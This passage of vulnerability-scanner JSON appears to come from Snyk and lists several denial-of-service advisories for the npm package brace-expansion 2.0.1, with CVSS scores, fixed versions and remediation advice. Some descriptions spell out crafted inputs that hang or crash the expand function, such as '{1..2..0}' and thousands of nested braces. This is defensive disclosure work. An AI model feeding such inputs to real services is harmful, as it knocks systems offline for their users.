"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub 